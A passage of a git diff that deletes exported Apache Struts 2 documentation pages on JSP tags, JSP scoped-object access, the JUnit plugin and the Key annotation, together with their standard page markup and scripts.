-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13973">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13973">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13973">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>JSP tags are extensions of the generic tags provided by the framework. You can get started almost immediately by simply knowing the generic structure in which the tags can be accessed: &lt;s:tag&gt; ... &lt;/s:tag&gt;, where tag is any of the tags supported by the framework.</p>
-
-<h2 id="JSPTags-TagLibraryDefinition(TLD)">Tag Library Definition (TLD)</h2>
-
-<p>The JSP TLD is included in the <code>struts-core.jar</code>. To use, just include the usual red-tape at the top of your JSP.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;html&gt;
-  &lt;body&gt;
-    &lt;p&gt;Now you can use the tags, like so:&lt;/p&gt;
-    &lt;s:iterator value="people"&gt;
-      &lt;s:property value="lastName"/&gt;, &lt;s:property value="firstName"/&gt;
-    &lt;/s:iterator&gt;
-    ...
-</pre>
-</div></div>
-
-<h2 id="JSPTags-Next:">Next: <a shape="rect" href="freemarker.html">Freemarker</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/jsp.html b/content/docs/jsp.html
deleted file mode 100644
index 79b7516..0000000
--- a/content/docs/jsp.html
+++ /dev/null
@@ -1,252 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>JSP</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="jsp.html">JSP</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">JSP</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14141">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14141">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14141">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14141">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14141">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14141">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The default configuration (<a shape="rect" href="struts-defaultxml.html">struts-default.xml</a>) configures the <a shape="rect" href="dispatcher-result.html">Dispatcher Result</a> as the default result, which works well with JavaServer Pages. Any JSP 1.2+ container can work with Struts 2 JSP tags immediately.</p>
-
-<h2 id="JSP-GettingStarted">Getting Started</h2>
-
-<p>Because JSP support occurs through the <a shape="rect" href="dispatcher-result.html">Dispatcher Result</a>, which is the default result type, you don't need to specify the type attribute when configuring <a shape="rect" href="strutsxml.html">struts.xml</a>:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="test" class="com.acme.TestAction"&gt;
-    &lt;result name="success"&gt;test-success.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-<p>Then in <strong>test-success.jsp</strong>:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-
-&lt;html&gt;
-&lt;head&gt;
-    &lt;title&gt;Hello&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-
-Hello, &lt;s:property value="name"/&gt;
-
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-<p>Where <strong>name</strong> is a property on your action. That's it!</p>
-
-<h2 id="JSP-Servlet/JSPScopedObjects">Servlet / JSP Scoped Objects</h2>
-
-<p>The following are ways to obtain Application scope attributes, Session scope attributes, Request scope attributes, Request parameters and framework Context scope parameters:-</p>
-
-<h3 id="JSP-ApplicationScopeAttribute">Application Scope Attribute</h3>
-
-<p>Assuming there's an attribute with name 'myApplicationAttribute' in the Application scope.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:property value="%{#application.myApplicationAttribute}" /&gt;
-</pre>
-</div></div>
-
-<h3 id="JSP-SessionScopeAttribute">Session Scope Attribute</h3>
-
-<p>Assuming there's an attribute with name 'mySessionAttribute' in the Session scope.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:property value="%{#session.mySessionAttribute}" /&gt;
-</pre>
-</div></div>
-
-<h3 id="JSP-RequestScopeAttribute">Request Scope Attribute</h3>
-
-<p>Assuming there's an attribute with name 'myRequestAttribute' in the Request scope.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:property value="%{#request.myRequestAttribute}" /&gt;
-</pre>
-</div></div>
-
-<h3 id="JSP-RequestParameter">Request Parameter</h3>
-
-<p>Assuming there's a request parameter myParameter (e.g. <a shape="rect" class="external-link" href="http://host/myApp/myAction.action?myParameter=one" rel="nofollow">http://host/myApp/myAction.action?myParameter=one</a>).</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:property value="%{#parameters.myParameter}" /&gt;
-</pre>
-</div></div>
-
-<h3 id="JSP-ContextScopeParameter">Context Scope Parameter</h3>
-
-<p>Assuming there's a parameter with the name myContextParam in our context.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:property value="%{#myContextParam}" /&gt;
-</pre>
-</div></div>
-
-<h2 id="JSP-TagSupport">Tag Support</h2>
-
-<p>See the <a shape="rect" href="jsp-tags.html">JSP Tags</a> documentation for information on how to use the generic <a shape="rect" href="struts-tags.html">Struts Tags</a> provided by the framework. </p>
-
-<h2 id="JSP-ExposingtheValueStack">Exposing the ValueStack</h2>
-
-<p>There are a couple of ways to obtain <a shape="rect" href="access-to-valuestack-from-jsps.html">access to ValueStack from JSPs</a>.</p>
-
-<h2 id="JSP-Next:">Next: <a shape="rect" href="jsp-tags.html">JSP Tags</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/junit-plugin.html b/content/docs/junit-plugin.html
deleted file mode 100644
index 8fb3d05..0000000
--- a/content/docs/junit-plugin.html
+++ /dev/null
@@ -1,224 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>JUnit Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="junit-plugin.html">JUnit Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">JUnit Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=82304">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=82304">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=82304">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=82304">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=82304">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=82304">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The JUnit plugin provides integration with the popular <a shape="rect" class="external-link" href="http://junit.org" rel="nofollow">JUnit</a> unit testing framework.</p>
-
-<p>This plugin provides a base <code>StrutsTestCase</code> class that can subclassed for tests that work on Struts 2 components.  It is used within Struts 2 itself to test core framework components and many bundled plugins. The class <code>StrutsSpringTestCase</code> is also provided, to support testing of actions that use Spring as the object factory.</p>
-
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>See <a shape="rect" href="testing-actions.html">Testing Actions</a> for more details</p></div></div>
-
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This plugin is only available with Struts 2.1.1 or later</p></div></div>
-
-<h2 id="JUnitPlugin-Features">Features</h2>
-<ul><li>Base test class that starts up a full Struts 2 instance</li><li>Great for testing how configuration is loaded and Struts 2 components are used</li></ul>
-
-
-<h2 id="JUnitPlugin-Usage">Usage</h2>
-<p>First, include the plugin your POM (if using Maven 2) under the test scope:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-junit-plugin&lt;/artifactId&gt;
-  &lt;version&gt;STRUTS_2_VERSION&lt;/version&gt;
-  &lt;scope&gt;test&lt;/scope&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<p>if you are using Spring, also add:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-    &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-spring-plugin&lt;/artifactId&gt;
-    &lt;version&gt;STRUTS_2_VERSION&lt;/version&gt;
-&lt;/dependency&gt;
-&lt;dependency&gt;
-    &lt;groupId&gt;javax.servlet&lt;/groupId&gt;
-    &lt;artifactId&gt;jsp-api&lt;/artifactId&gt;
-    &lt;version&gt;2.0&lt;/version&gt;
-    &lt;scope&gt;test&lt;/scope&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<p>If you are not using Maven 2 to build and test your code, ensure the plugin jar and its dependencies (spring-mock and junit) are in the testing classpath.</p>
-
-<p>Now, your JUnit tests can subclass the <code>StrutsTestCase</code> class, which handles starting and stopping the Struts 2 framework:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MyTest extends StrutsTestCase {
- // testing code
-}
-</pre>
-</div></div>
-
-<h2 id="JUnitPlugin-Settings">Settings</h2>
-
-<p>This plugin doesn't support any global settings.</p>
-
-<h2 id="JUnitPlugin-Installation">Installation</h2>
-
-<p>This plugin is meant to be used during unit testing, and not during runtime.  Therefore, include it in your build's classpath, but do not deploy it to <code>WEB-INF/lib</code> in your Struts 2 application.</p></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/key-annotation.html b/content/docs/key-annotation.html
deleted file mode 100644
index d354986..0000000
--- a/content/docs/key-annotation.html
+++ /dev/null
@@ -1,170 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Key Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="key-annotation.html">Key Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Key Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14020">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14020">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14020">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14020">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14020">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14020">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Sets the Key for type conversion.</p>
-
-<h2 id="KeyAnnotation-Usage">Usage</h2>
-
-<p></p><p>The Key annotation must be applied at field or method level.</p>
-
-<h2 id="KeyAnnotation-Parameters">Parameters</h2>
-
-<p><table summary=""><thead><tr><th colspan="1" rowspan="1">Parameter</th><th colspan="1" rowspan="1">Required</th><th colspan="1" rowspan="1">Default</th><th colspan="1" rowspan="1">Description</th></tr></thead><tbody><tr><td colspan="1" rowspan="1">value</td><td colspan="1" rowspan="1">no</td><td colspan="1" rowspan="1">java.lang.Object.class</td><td colspan="1" rowspan="1">The key property value.</td></tr></tbody></table></p>
-
-<h2 id="KeyAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-// The key property for User objects within the users collection is the &lt;code&gt;userName&lt;/code&gt; attribute.
-@Key( value = java.lang.Long.class )
-private Map&lt;Long, User&gt; userMap;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/key-changes-from-webwork-2.html b/content/docs/key-changes-from-webwork-2.html
deleted file mode 100644
index 027d5de..0000000
--- a/content/docs/key-changes-from-webwork-2.html
+++ /dev/null
@@ -1,226 +0,0 @@
